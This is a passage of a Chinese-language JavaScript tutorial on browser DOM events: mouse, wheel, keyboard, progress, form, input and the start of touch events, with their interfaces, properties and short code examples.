如果同一个节点对于同一个事件指定了多个监听函数，这些函数会根据添加的顺序依次调用。只要其中有一个监听函数调用了`Event.stopImmediatePropagation`方法，其他的监听函数就不会再执行了。

```javascript
function l1(e){
  e.stopImmediatePropagation();
}

function l2(e){
  console.log('hello world');
}

el.addEventListener('click', l1, false);
el.addEventListener('click', l2, false);
```

上面代码在`el`节点上，为`click`事件添加了两个监听函数`l1`和`l2`。由于`l1`调用了`event.stopImmediatePropagation`方法，所以`l2`不会被调用。

##### Event.composedPath()

`Event.composedPath()`返回一个数组，成员是事件的最底层节点和依次冒泡经过的所有上层节点。

```js
// HTML 代码如下
// <div>
//   <p>Hello</p>
// </div>
var div = document.querySelector('div');
var p = document.querySelector('p');

div.addEventListener('click', function (e) {
  console.log(e.composedPath());
}, false);
// [p, div, body, html, document, Window]
```

上面代码中，`click`事件的最底层节点是`p`，向上依次是`div`、`body`、`html`、`document`、`Window`。

### 鼠标事件

#### 种类

鼠标事件主要有下面这些，所有事件都继承了`MouseEvent`接口。

##### （1）点击事件

鼠标点击相关的有四个事件。

* `click`：按下鼠标（通常是按下主按钮）时触发。
* `dblclick`：在同一个元素上双击鼠标时触发。
* `mousedown`：按下鼠标键时触发。
* `mouseup`：释放按下的鼠标键时触发。

`click`事件可以看成是两个事件组成的：用户在同一个位置先触发`mousedown`，再触发`mouseup`。因此，触发顺序是，`mousedown`首先触发，`mouseup`接着触发，`click`最后触发。

双击时，`dblclick`事件则会在`mousedown`、`mouseup`、`click`之后触发。

##### （2）移动事件

鼠标移动相关的有五个事件。

* `mousemove`：当鼠标在一个节点内部移动时触发。当鼠标持续移动时，该事件会连续触发。为了避免性能问题，建议对该事件的监听函数做一些限定，比如限定一段时间内只能运行一次。
* `mouseenter`：鼠标进入一个节点时触发，进入子节点不会触发这个事件（详见后文）。
* `mouseover`：鼠标进入一个节点时触发，进入子节点会再一次触发这个事件（详见后文）。
* `mouseout`：鼠标离开一个节点时触发，离开父节点也会触发这个事件（详见后文）。
* `mouseleave`：鼠标离开一个节点时触发，离开父节点不会触发这个事件（详见后文）。

`mouseover`事件和`mouseenter`事件，都是鼠标进入一个节点时触发。两者的区别是，`mouseenter`事件只触发一次，而只要鼠标在节点内部移动，`mouseover`事件会在子节点上触发多次。

```js
/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 进入 ul 节点以后，mouseenter 事件只会触发一次
// 以后只要鼠标在节点内移动，都不会再触发这个事件
// event.target 是 ul 节点
ul.addEventListener('mouseenter', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 进入 ul 节点以后，只要在子节点上移动，mouseover 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseover', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);
```

上面代码中，在父节点内部进入子节点，不会触发`mouseenter`事件，但是会触发`mouseover`事件。

`mouseout`事件和`mouseleave`事件，都是鼠标离开一个节点时触发。两者的区别是，在父元素内部离开一个子元素时，`mouseleave`事件不会触发，而`mouseout`事件会触发。

```js
/* HTML 代码如下
 <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
 </ul>
*/

var ul = document.querySelector('ul');

// 先进入 ul 节点，然后在节点内部移动，不会触发 mouseleave 事件
// 只有离开 ul 节点时，触发一次 mouseleave
// event.target 是 ul 节点
ul.addEventListener('mouseleave', function (event) {
  event.target.style.color = 'purple';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);

// 先进入 ul 节点，然后在节点内部移动，mouseout 事件会触发多次
// event.target 是 li 节点
ul.addEventListener('mouseout', function (event) {
  event.target.style.color = 'orange';
  setTimeout(function () {
    event.target.style.color = '';
  }, 500);
}, false);
```

上面代码中，在父节点内部离开子节点，不会触发`mouseleave`事件，但是会触发`mouseout`事件。

##### （3）其他事件

* `contextmenu`：按下鼠标右键时（上下文菜单出现前）触发，或者按下“上下文”菜单键时触发。
* `wheel`：滚动鼠标的滚轮时触发，该事件继承的是`WheelEvent`接口。

#### MouseEvent 接口

`MouseEvent`接口代表了鼠标相关的事件，单击（click）、双击（dblclick）、松开鼠标键（mouseup）、按下鼠标键（mousedown）等动作，所产生的事件对象都是`MouseEvent`实例。此外，滚轮事件和拖拉事件也是`MouseEvent`实例。

`MouseEvent`接口继承了`Event`接口，所以拥有`Event`的所有属性和方法，并且还提供鼠标独有的属性和方法。

浏览器原生提供一个`MouseEvent()`构造函数，用于新建一个`MouseEvent`实例。

```js
var event = new MouseEvent(type, options);
```

`MouseEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件名称；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口的实例配置属性，该对象可以配置以下属性，所有属性都是可选的。

* `screenX`：数值，鼠标相对于屏幕的水平位置（单位像素），默认值为0，设置该属性不会移动鼠标。

* `screenY`：数值，鼠标相对于屏幕的垂直位置（单位像素），其他与`screenX`相同。

* `clientX`：数值，鼠标相对于程序窗口的水平位置（单位像素），默认值为0，设置该属性不会移动鼠标。

* `clientY`：数值，鼠标相对于程序窗口的垂直位置（单位像素），其他与`clientX`相同。

* `ctrlKey`：布尔值，是否同时按下了 Ctrl 键，默认值为`false`。

* `shiftKey`：布尔值，是否同时按下了 Shift 键，默认值为`false`。

* `altKey`：布尔值，是否同时按下 Alt 键，默认值为`false`。

* `metaKey`：布尔值，是否同时按下 Meta 键，默认值为`false`。

* `button`：数值，表示按下了哪一个鼠标按键，默认值为`0`，表示按下主键（通常是鼠标的左键）或者当前事件没有定义这个属性；`1`表示按下辅助键（通常是鼠标的中间键），`2`表示按下次要键（通常是鼠标的右键）。

* `buttons`：数值，表示按下了鼠标的哪些键，是一个三个比特位的二进制值，默认为`0`（没有按下任何键）。`1`（二进制`001`）表示按下主键（通常是左键），`2`（二进制`010`）表示按下次要键（通常是右键），`4`（二进制`100`）表示按下辅助键（通常是中间键）。因此，如果返回`3`（二进制`011`）就表示同时按下了左键和右键。

* `relatedTarget`：节点对象，表示事件的相关节点，默认为`null`。`mouseenter`和`mouseover`事件时，表示鼠标刚刚离开的那个元素节点；`mouseout`和`mouseleave`事件时，表示鼠标正在进入的那个元素节点。

#### MouseEvent 接口的实例属性

##### MouseEvent.altKey

##### MouseEvent.ctrlKey

##### MouseEvent.metaKey

##### MouseEvent.shiftKey

`MouseEvent.altKey`、`MouseEvent.ctrlKey`、`MouseEvent.metaKey`、`MouseEvent.shiftKey`这四个属性都返回一个布尔值，表示事件发生时，是否按下对应的键。它们都是只读属性。

* `altKey`属性：Alt 键
* `ctrlKey`属性：Ctrl 键
* `metaKey`属性：Meta 键（Mac 键盘是一个四瓣的小花，Windows 键盘是 Windows 键）
* `shiftKey`属性：Shift 键

```js
// HTML 代码如下
// <body onclick="showKey(event)">
function showKey(e) {
  console.log('ALT key pressed: ' + e.altKey);
  console.log('CTRL key pressed: ' + e.ctrlKey);
  console.log('META key pressed: ' + e.metaKey);
  console.log('SHIFT key pressed: ' + e.shiftKey);
}
```

上面代码中，点击网页会输出是否同时按下对应的键。

##### MouseEvent.button

`MouseEvent.button`属性返回一个数值，表示事件发生时按下了鼠标的哪个键。该属性只读。

* 0：按下主键（通常是左键），或者该事件没有初始化这个属性（比如`mousemove`事件）。
* 1：按下辅助键（通常是中键或者滚轮键）。
* 2：按下次键（通常是右键）。

```js
// HTML 代码为
// <button onmouseup="whichButton(event)">点击</button>
var whichButton = function (e) {
  switch (e.button) {
    case 0:
      console.log('Left button clicked.');
      break;
    case 1:
      console.log('Middle button clicked.');
      break;
    case 2:
      console.log('Right button clicked.');
      break;
    default:
      console.log('Unexpected code: ' + e.button);
  }
}
```

##### MouseEvent.buttons

`MouseEvent.buttons`属性返回一个三个比特位的值，表示同时按下了哪些键。它用来处理同时按下多个鼠标键的情况。该属性只读。

* 1：二进制为`001`（十进制的1），表示按下左键。
* 2：二进制为`010`（十进制的2），表示按下右键。
* 4：二进制为`100`（十进制的4），表示按下中键或滚轮键。

同时按下多个键的时候，每个按下的键对应的比特位都会有值。比如，同时按下左键和右键，会返回3（二进制为011）。

##### MouseEvent.clientX

##### MouseEvent.clientY

`MouseEvent.clientX`属性返回鼠标位置相对于浏览器窗口左上角的水平坐标（单位像素），`MouseEvent.clientY`属性返回垂直坐标。这两个属性都是只读属性。

```js
// HTML 代码为
// <body onmousedown="showCoords(event)">
function showCoords(evt){
  console.log(
    'clientX value: ' + evt.clientX + '\n' +
    'clientY value: ' + evt.clientY + '\n'
  );
}
```

这两个属性还分别有一个别名`MouseEvent.x`和`MouseEvent.y`。

##### MouseEvent.movementX

##### MouseEvent.movementY

`MouseEvent.movementX`属性返回当前位置与上一个`mousemove`事件之间的水平距离（单位像素）。数值上，它等于下面的计算公式。

```js
currentEvent.movementX = currentEvent.screenX - previousEvent.screenX
```

`MouseEvent.movementY`属性返回当前位置与上一个`mousemove`事件之间的垂直距离（单位像素）。数值上，它等于下面的计算公式。

```js
currentEvent.movementY = currentEvent.screenY - previousEvent.screenY。
```

这两个属性都是只读属性。

##### MouseEvent.screenX

##### MouseEvent.screenY

`MouseEvent.screenX`属性返回鼠标位置相对于屏幕左上角的水平坐标（单位像素），`MouseEvent.screenY`属性返回垂直坐标。这两个属性都是只读属性。

```js
// HTML 代码如下
// <body onmousedown="showCoords(event)">
function showCoords(evt) {
  console.log(
    'screenX value: ' + evt.screenX + '\n',
    'screenY value: ' + evt.screenY + '\n'
  );
}
```

##### MouseEvent.offsetX

##### MouseEvent.offsetY

`MouseEvent.offsetX`属性返回鼠标位置与目标节点左侧的`padding`边缘的水平距离（单位像素），`MouseEvent.offsetY`属性返回与目标节点上方的`padding`边缘的垂直距离。这两个属性都是只读属性。

```js
/* HTML 代码如下
  <style>
    p {
      width: 100px;
      height: 100px;
      padding: 100px;
    }
  </style>
  <p>Hello</p>
*/
var p = document.querySelector('p');
p.addEventListener(
  'click',
  function (e) {
    console.log(e.offsetX);
    console.log(e.offsetY);
  },
  false
);
```

上面代码中，鼠标如果在`p`元素的中心位置点击，会返回`150 150`。因此中心位置距离左侧和上方的`padding`边缘，等于`padding`的宽度（100像素）加上元素内容区域一半的宽度（50像素）。

##### MouseEvent.pageX

##### MouseEvent.pageY

`MouseEvent.pageX`属性返回鼠标位置与文档左侧边缘的距离（单位像素），`MouseEvent.pageY`属性返回与文档上侧边缘的距离（单位像素）。它们的返回值都包括文档不可见的部分。这两个属性都是只读。

```js
/* HTML 代码如下
  <style>
    body {
      height: 2000px;
    }
  </style>
*/
document.body.addEventListener(
  'click',
  function (e) {
    console.log(e.pageX);
    console.log(e.pageY);
  },
  false
);
```

上面代码中，页面高度为2000像素，会产生垂直滚动条。滚动到页面底部，点击鼠标输出的`pageY`值会接近2000。

##### MouseEvent.relatedTarget

`MouseEvent.relatedTarget`属性返回事件的相关节点。对于那些没有相关节点的事件，该属性返回`null`。该属性只读。

下表列出不同事件的`target`属性值和`relatedTarget`属性值义。

| 事件名称   | target 属性    | relatedTarget 属性 |
| ---------- | -------------- | ------------------ |
| focusin    | 接受焦点的节点 | 丧失焦点的节点     |
| focusout   | 丧失焦点的节点 | 接受焦点的节点     |
| mouseenter | 将要进入的节点 | 将要离开的节点     |
| mouseleave | 将要离开的节点 | 将要进入的节点     |
| mouseout   | 将要离开的节点 | 将要进入的节点     |
| mouseover  | 将要进入的节点 | 将要离开的节点     |
| dragenter  | 将要进入的节点 | 将要离开的节点     |
| dragexit   | 将要离开的节点 | 将要进入的节点     |

```js
/*
  HTML 代码如下
  <div id="outer" style="height:50px;width:50px;border:1px solid black;">
    <div id="inner" style="height:25px;width:25px;border:1px solid black;"></div>
  </div>
*/

var inner = document.getElementById('inner');
inner.addEventListener('mouseover', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
}, false);
inner.addEventListener('mouseenter', function (event) {
  console.log('进入' + event.target.id + ' 离开' + event.relatedTarget.id);
});
inner.addEventListener('mouseout', function (event) {
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});
inner.addEventListener("mouseleave", function (event){
  console.log('离开' + event.target.id + ' 进入' + event.relatedTarget.id);
});

// 鼠标从 outer 进入inner，输出
// 进入inner 离开outer
// 进入inner 离开outer

// 鼠标从 inner进入 outer，输出
// 离开inner 进入outer
// 离开inner 进入outer
```

#### MouseEvent 接口的实例方法

##### MouseEvent.getModifierState()

`MouseEvent.getModifierState`方法返回一个布尔值，表示有没有按下特定的功能键。它的参数是一个表示[功能键](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/getModifierState#Modifier_keys_on_Gecko)的字符串。

```js
document.addEventListener('click', function (e) {
  console.log(e.getModifierState('CapsLock'));
}, false);
```

上面的代码可以了解用户是否按下了大写键。

#### WheelEvent 接口

##### 概述

WheelEvent 接口继承了 MouseEvent 实例，代表鼠标滚轮事件的实例对象。目前，鼠标滚轮相关的事件只有一个`wheel`事件，用户滚动鼠标的滚轮，就生成这个事件的实例。

浏览器原生提供`WheelEvent()`构造函数，用来生成`WheelEvent`实例。

```js
var wheelEvent = new WheelEvent(type, options);
```

`WheelEvent()`构造函数可以接受两个参数，第一个是字符串，表示事件类型，对于滚轮事件来说，这个值目前只能是`wheel`。第二个参数是事件的配置对象。该对象的属性除了`Event`、`UIEvent`的配置属性以外，还可以接受以下几个属性，所有属性都是可选的。

* `deltaX`：数值，表示滚轮的水平滚动量，默认值是 0.0。
* `deltaY`：数值，表示滚轮的垂直滚动量，默认值是 0.0。
* `deltaZ`：数值，表示滚轮的 Z 轴滚动量，默认值是 0.0。
* `deltaMode`：数值，表示相关的滚动事件的单位，适用于上面三个属性。`0`表示滚动单位为像素，`1`表示单位为行，`2`表示单位为页，默认为`0`。

##### 实例属性

`WheelEvent`事件实例除了具有`Event`和`MouseEvent`的实例属性和实例方法，还有一些自己的实例属性，但是没有自己的实例方法。

下面的属性都是只读属性。

* `WheelEvent.deltaX`：数值，表示滚轮的水平滚动量。
* `WheelEvent.deltaY`：数值，表示滚轮的垂直滚动量。
* `WheelEvent.deltaZ`：数值，表示滚轮的 Z 轴滚动量。
* `WheelEvent.deltaMode`：数值，表示上面三个属性的单位，`0`是像素，`1`是行，`2`是页。

### 键盘事件

#### 事件种类

键盘事件由用户击打键盘触发，主要有`keydown`、`keypress`、`keyup`三个事件，它们都继承了`KeyboardEvent`接口。

* `keydown`：按下键盘时触发。
* `keypress`：按下有值的键时触发，即按下 Ctrl、Alt、Shift、Meta 这样无值的键，这个事件不会触发。对于有值的键，按下时先触发`keydown`事件，再触发这个事件。
* `keyup`：松开键盘时触发该事件。

#### KeyboardEvent

##### 接口概述

`KeyboardEvent`接口用来描述用户与键盘的互动。这个接口继承了`Event`接口，并且定义了自己的实例属性和实例方法。

浏览器原生提供`KeyboardEvent`构造函数，用来新建键盘事件的实例。

```js
new KeyboardEvent(type, options)
```

`KeyboardEvent`构造函数接受两个参数。第一个参数是字符串，表示事件类型；第二个参数是一个事件配置对象，该参数可选。除了`Event`接口提供的属性，还可以配置以下字段，它们都是可选。

* `key`：字符串，当前按下的键，默认为空字符串。
* `code`：字符串，表示当前按下的键的字符串形式，默认为空字符串。
* `location`：整数，当前按下的键的位置，默认为`0`。
* `ctrlKey`：布尔值，是否按下 Ctrl 键，默认为`false`。
* `shiftKey`：布尔值，是否按下 Shift 键，默认为`false`。
* `altKey`：布尔值，是否按下 Alt 键，默认为`false`。
* `metaKey`：布尔值，是否按下 Meta 键，默认为`false`。
* `repeat`：布尔值，是否重复按键，默认为`false`。

##### 实例属性

###### KeyboardEvent.altKey

###### KeyboardEvent.ctrlKey

###### KeyboardEvent.metaKey

###### KeyboardEvent.shiftKey

以下属性都是只读属性，返回一个布尔值，表示是否按下对应的键。

* `KeyboardEvent.altKey`：是否按下 Alt 键
* `KeyboardEvent.ctrlKey`：是否按下 Ctrl 键
* `KeyboardEvent.metaKey`：是否按下 meta 键（Mac 系统是一个四瓣的小花，Windows 系统是 windows 键）
* `KeyboardEvent.shiftKey`：是否按下 Shift 键

下面是一个示例。

```js
function showChar(e) {
  console.log('ALT: ' + e.altKey);
  console.log('CTRL: ' + e.ctrlKey);
  console.log('Meta: ' + e.metaKey);
  console.log('Shift: ' + e.shiftKey);
}

document.body.addEventListener('keydown', showChar, false);
```

###### KeyboardEvent.code

`KeyboardEvent.code`属性返回一个字符串，表示当前按下的键的**字符串形式**。该属性只读。

下面是一些常用键的字符串形式，其他键请查[文档](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/code/code_values)。

* 数字键0 - 9：返回`digit0` - `digit9`
* 字母键A - z：返回`KeyA` - `KeyZ`
* 功能键F1 - F12：返回 `F1` - `F12`
* 方向键：返回`ArrowDown`、`ArrowUp`、`ArrowLeft`、`ArrowRight`
* Alt 键：返回`AltLeft`或`AltRight`
* Shift 键：返回`ShiftLeft`或`ShiftRight`
* Ctrl 键：返回`ControlLeft`或`ControlRight`

###### KeyboardEvent.key

`KeyboardEvent.key`属性返回一个字符串，表示按下的键名。该属性只读。

如果按下的键代表可打印字符，则返回这个字符，比如数字、字母。

如果按下的键代表不可打印的特殊字符，则返回预定义的键值，比如 Backspace，Tab，Enter，Shift，Control，Alt，CapsLock，Esc，Spacebar，PageUp，PageDown，End，Home，Left，Right，Up，Down，PrintScreen，Insert，Del，Win，F1～F12，NumLock，Scroll 等。

如果同时按下一个控制键和一个符号键，则返回符号键的键名。比如，按下 Ctrl + a，则返回`a`；按下 Shift + a，则返回大写的`A`。

如果无法识别键名，返回字符串`Unidentified`。

###### KeyboardEvent.location

`KeyboardEvent.location`属性返回一个整数，表示按下的键处在键盘的哪一个区域。它可能取以下值。

* 0：处在键盘的主区域，或者无法判断处于哪一个区域。
* 1：处在键盘的左侧，只适用那些有两个位置的键（比如 Ctrl 和 Shift 键）。
* 2：处在键盘的右侧，只适用那些有两个位置的键（比如 Ctrl 和 Shift 键）。
* 3：处在数字小键盘。

###### KeyboardEvent.repeat

`KeyboardEvent.repeat`返回一个布尔值，代表该键是否被按着不放，以便判断是否重复这个键，即浏览器会持续触发`keydown`和`keypress`事件，直到用户松开手为止。

##### 实例方法

###### KeyboardEvent.getModifierState()

`KeyboardEvent.getModifierState()`方法返回一个布尔值，表示是否按下或激活指定的功能键。它的常用参数如下。

* `Alt`：Alt 键
* `CapsLock`：大写锁定键
* `Control`：Ctrl 键
* `Meta`：Meta 键
* `NumLock`：数字键盘开关键
* `Shift`：Shift 键

```js
if (
  event.getModifierState('Control') +
  event.getModifierState('Alt') +
  event.getModifierState('Meta') > 1
) {
  return;
}
```

上面代码表示，只要`Control`、`Alt`、`Meta`里面，同时按下任意两个或两个以上的键就返回。

### 进度事件

#### 种类

进度事件用来描述资源加载的进度，主要由 AJAX 请求、`<img>`、`<audio>`、`<video>`、`<style>`、`<link>`等外部资源的加载触发，继承了`ProgressEvent`接口。它主要包含以下几种事件。

* `abort`：外部资源中止加载时（比如用户取消）触发。如果发生错误导致中止，不会触发该事件。
* `error`：由于错误导致外部资源无法加载时触发。
* `load`：外部资源加载成功时触发。
* `loadstart`：外部资源开始加载时触发。
* `loadend`：外部资源停止加载时触发，发生顺序排在`error`、`abort`、`load`等事件的后面。
* `progress`：外部资源加载过程中不断触发。
* `timeout`：加载超时时触发。

**注意**，除了资源下载，文件上传也存在这些事件。

```js
image.addEventListener('load', function (event) {
  image.classList.add('finished');
});

image.addEventListener('error', function (event) {
  image.style.display = 'none';
});
```

上面代码在图片元素加载完成后，为图片元素添加一个`finished`的 Class。如果加载失败，就把图片元素的样式设置为不显示。

有时候，图片加载会在脚本运行之前就完成，尤其是当脚本放置在网页底部的时候，因此有可能`load`和`error`事件的监听函数根本不会执行。所以，比较可靠的方式，是用`complete`属性先判断一下是否加载完成。

由于 DOM 的元素节点没有提供是否加载错误的属性，所以`error`事件的监听函数最好放在`<img>`元素的 HTML 代码中，这样才能保证发生加载错误时百分之百会执行。

```html
<img src="/wrong/url" onerror="this.style.display='none';" />
```

`loadend`事件的监听函数，可以用来取代`abort`事件、`load`事件、`error`事件的监听函数，因为它总是在这些事件之后发生。

`loadend`事件本身不提供关于进度结束的原因，但可以用它来做所有**加载结束场景**都需要做的一些操作。

```js
req.addEventListener('loadend', loadEnd, false);

function loadEnd(e) {
  console.log('传输结束，成功失败未知');
}
```

另外，`error`事件有一个特殊的性质，就是不会冒泡。所以，子元素的`error`事件，不会触发父元素的`error`事件监听函数。

#### ProgressEvent 接口

`ProgressEvent`接口主要用来描述外部资源加载的进度，比如 AJAX 加载、`<img>`、`<video>`、`<style>`、`<link>`等外部资源加载。进度相关的事件都继承了这个接口。

浏览器原生提供了`ProgressEvent()`构造函数，用来生成事件实例。

```js
new ProgressEvent(type, options)
```

`ProgressEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件的类型，这个参数是必须的。第二个参数是一个配置对象，表示事件的属性，该参数可选。

配置对象除了可以使用`Event`接口的配置属性，还可以使用下面的属性，所有这些属性都是可选的。

* `lengthComputable`：布尔值，表示加载的总量是否可以计算，默认是`false`。
* `loaded`：整数，表示已经加载的量，默认是`0`。
* `total`：整数，表示需要加载的总量，默认是`0`。

`ProgressEvent`具有对应的实例属性。

* `ProgressEvent.lengthComputable`
* `ProgressEvent.loaded`
* `ProgressEvent.total`

如果`ProgressEvent.lengthComputable`为`false`，`ProgressEvent.total`实际上是没有意义的。

```js
var p = new ProgressEvent('load', {
  lengthComputable: true,
  loaded: 30,
  total: 100,
});

document.body.addEventListener('load', function (e) {
  console.log('已经加载：' + (e.loaded / e.total) * 100 + '%');
});

document.body.dispatchEvent(p);
// 已经加载：30%
```

上面代码先构造一个`load`事件，抛出后被监听函数捕捉到。

**一个实际的例子**

```js
var xhr = new XMLHttpRequest();

xhr.addEventListener('progress', updateProgress, false);
xhr.addEventListener('load', transferComplete, false);
xhr.addEventListener('error', transferFailed, false);
xhr.addEventListener('abort', transferCanceled, false);

xhr.open();

function updateProgress(e) {
  if (e.lengthComputable) {
    var percentComplete = e.loaded / e.total;
  } else {
    console.log('不能计算进度');
  }
}

function transferComplete(e) {
  console.log('传输结束');
}

function transferFailed(evt) {
  console.log('传输过程中发生错误');
}

function transferCanceled(evt) {
  console.log('用户取消了传输');
}
```

上面是下载过程的进度事件，还存在上传过程的进度事件。这时**所有监听函数都要放在`XMLHttpRequest.upload`对象上面**。

```js
var xhr = new XMLHttpRequest();

xhr.upload.addEventListener('progress', updateProgress, false);
xhr.upload.addEventListener('load', transferComplete, false);
xhr.upload.addEventListener('error', transferFailed, false);
xhr.upload.addEventListener('abort', transferCanceled, false);

xhr.open();
```

### 表单事件

#### 种类

##### input 事件

`input`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。

对于复选框（`<input type=checkbox>`）或单选框（`<input type=radio>`），用户改变选项时，也会触发这个事件。

另外，对于打开`contenteditable`（**该属性用于使元素可编辑**）属性的元素，只要值发生变化，也会触发`input`事件。

`input`事件的一个特点，就是会连续触发，比如用户每按下一次按键，就会触发一次`input`事件。

`input`事件对象继承了`InputEvent`接口。

该事件跟`change`事件很像，不同之处在于`input`事件在**元素的值发生变化后立即发生**，而`change`在元素**失去焦点时发生**，而内容此时可能已经变化多次。

也就是说，如果有连续变化，`input`事件会触发多次，而`change`事件只在失去焦点时触发一次。

下面是`<select>`元素的例子。

```js
/* HTML 代码如下
<select id="mySelect">
  <option value="1">1</option>
  <option value="2">2</option>
  <option value="3">3</option>
</select>
*/

function inputHandler(e) {
  console.log(e.target.value)
}

var mySelect = document.querySelector('#mySelect');
mySelect.addEventListener('input', inputHandler);
```

上面代码中，改变下拉框选项时，会触发`input`事件，从而执行回调函数`inputHandler`。

##### select 事件

`select`事件当在`<input>`、`<textarea>`里面选中文本时触发。

```js
// HTML 代码如下
// <input id="test" type="text" value="Select me!" />

var elem = document.getElementById('test');
elem.addEventListener('select', function (e) {
  console.log(e.type); // "select"
}, false);
```

选中的文本可以通过`event.target`元素的`selectionDirection`、`selectionEnd`、`selectionStart`和`value`属性拿到。

##### change 事件

`change`事件当`<input>`、`<select>`、`<textarea>`的值发生变化时触发。

它与`input`事件的最大不同，就是不会连续触发，只有当全部修改完成时才会触发，

另一方面`input`事件必然伴随`change`事件。具体来说，分成以下几种情况。

* 激活单选框（radio）或复选框（checkbox）时触发。
* 用户提交时触发。比如，从下列列表（select）完成选择，在日期或文件输入框完成选择。
* 当文本框或`<textarea>`元素的值发生改变，并且丧失焦点时触发。

对于`<select>`元素来说，`input`和`change`事件基本是等价的。

##### invalid 事件

用户提交表单时，如果表单元素的值不满足校验条件，就会触发`invalid`事件。

```html
<form>
  <input type="text" required oninvalid="console.log('invalid input')" />
  <button type="submit">提交</button>
</form>
```

上面代码中，输入框是必填的。如果不填，用户点击按钮提交时，就会触发输入框的`invalid`事件，导致提交被取消。

##### reset 事件

##### submit 事件

这两个事件发生在表单对象`<form>`上，而**不是发生在表单的成员上**。

`reset`事件当表单重置（所有表单成员变回默认值）时触发。

`submit`事件当表单数据向服务器提交时触发。注意，`submit`事件的发生对象是`<form>`元素，而不是`<button>`元素，因为提交的是表单，**而不是按钮**。

#### InputEvent 接口

`InputEvent`接口主要用来描述`input`事件的实例。该接口继承了`Event`接口，还定义了一些自己的实例属性和实例方法。

浏览器原生提供`InputEvent()`构造函数，用来生成实例对象。js

```js
new InputEvent(type, options)
```

`InputEvent`构造函数可以接受两个参数。第一个参数是字符串，表示事件名称，该参数是必需的。第二个参数是一个配置对象，用来设置事件实例的属性，该参数是可选的。配置对象的字段除了`Event`构造函数的配置属性，还可以设置下面的字段，这些字段都是可选的。

* `inputType`：字符串，表示发生变更的类型。
* `data`：字符串，表示插入的字符串。如果没有插入的字符串（比如删除操作），则返回`null`或空字符串。
* `dataTransfer`：返回一个 DataTransfer 对象实例，该属性通常只在输入框接受富文本输入时有效。

`InputEvent`的实例属性主要就是上面三个属性，这三个实例属性都是只读的。

##### （1）InputEvent.data

`InputEvent.data`属性返回一个字符串，表示变动的内容。

```js
// HTML 代码如下
// <input type="text" id="myInput">
var input = document.getElementById('myInput');
input.addEventListener('input', myFunction, false);

function myFunction(e) {
  console.log(e.data);
}
```

上面代码中，如果手动在输入框里面输入`abc`，控制台会先输出`a`，再在下一行输出`b`，再在下一行输出`c`。然后选中`abc`，一次性将它们删除，控制台会输出`null`或一个空字符串。

##### （2）InputEvent.inputType

`InputEvent.inputType`属性返回一个字符串，表示字符串发生变更的类型。

对于常见情况，Chrome 浏览器的返回值如下。完整列表可以参考[文档](https://w3c.github.io/input-events/index.html#dom-inputevent-inputtype)。

* 手动插入文本：`insertText`
* 粘贴插入文本：`insertFromPaste`
* 向后删除：`deleteContentBackward`
* 向前删除：`deleteContentForward`

##### （3）InputEvent.dataTransfer

`InputEvent.dataTransfer`属性返回一个 DataTransfer 实例。该属性只在文本框接受粘贴内容（insertFromPaste）或拖拽内容（`insertFromDrop`）时才有效。

---

---
url: /js/e2251036/index.md
---
# 事件 下
### 触摸事件

#### 概述

浏览器的触摸 API 由三个部分组成。

* Touch：一个触摸点
* TouchList：多个触摸点的集合
* TouchEvent：触摸引发的事件实例

`Touch`接口的实例对象用来表示触摸点（一根手指或者一根触摸笔），包括位置、大小、形状、压力、目标元素等属性。

有时，触摸动作由多个触摸点（多根手指）组成，多个触摸点的集合由`TouchList`接口的实例对象表示。

`TouchEvent`接口的实例对象代表由触摸引发的事件，只有触摸屏才会引发这一类事件。

很多时候，触摸事件和鼠标事件同时触发，即使这个时候并没有用到鼠标。

这是为了让那些只定义鼠标事件、没有定义触摸事件的代码，在触摸屏的情况下仍然能用。如果想避免这种情况，可以用`event.preventDefault`方法阻止发出鼠标事件。

#### Touch 接口

##### 概述

Touch 接口代表单个触摸点。触摸点可能是一根手指，也可能是一根触摸笔。

浏览器原生提供`Touch`构造函数，用来生成`Touch`实例。

```js
var touch = new Touch(touchOptions);
```

`Touch`构造函数接受一个配置对象作为参数，它有以下属性。

* `identifier`：必需，类型为整数，表示触摸点的唯一 ID。
* `target`：必需，类型为元素节点，表示触摸点开始时所在的网页元素。
* `clientX`：可选，类型为数值，表示触摸点相对于浏览器窗口左上角的水平距离，默认为0。
* `clientY`：可选，类型为数值，表示触摸点相对于浏览器窗口左上角的垂直距离，默认为0。
* `screenX`：可选，类型为数值，表示触摸点相对于屏幕左上角的水平距离，默认为0。
* `screenY`：可选，类型为数值，表示触摸点相对于屏幕左上角的垂直距离，默认为0。
* `pageX`：可选，类型为数值，表示触摸点相对于网页左上角的水平位置（即包括页面的滚动距离），默认为0。
* `pageY`：可选，类型为数值，表示触摸点相对于网页左上角的垂直位置（即包括页面的滚动距离），默认为0。
* `radiusX`：可选，类型为数值，表示触摸点周围受到影响的椭圆范围的 X 轴半径，默认为0。
* `radiusY`：可选：类型为数值，表示触摸点周围受到影响的椭圆范围的 Y 轴半径，默认为0。
* `rotationAngle`：可选，类型为数值，表示触摸区域的椭圆的旋转角度，单位为度数，在0到90度之间，默认值为0。
* `force`：可选，类型为数值，范围在`0`到`1`之间，表示触摸压力。`0`代表没有压力，`1`代表硬件所能识别的最大压力，默认为`0`。

##### 实例属性

###### （1）Touch.identifier

`Touch.identifier`属性返回一个整数，表示触摸点的唯一 ID。这个值在整个触摸过程保持不变，直到触摸事件结束。

```js
someElement.addEventListener('touchmove', function (e) {
  for (var i = 0; i < e.changedTouches.length; i++) {
    console.log(e.changedTouches[i].identifier);
  }
}, false);
```

###### （2）Touch.screenX

###### （3）Touch.screenY

`Touch.screenX`属性和`Touch.screenY`属性，分别表示触摸点相对于**屏幕**左上角的横坐标和纵坐标，与页面是否滚动无关。

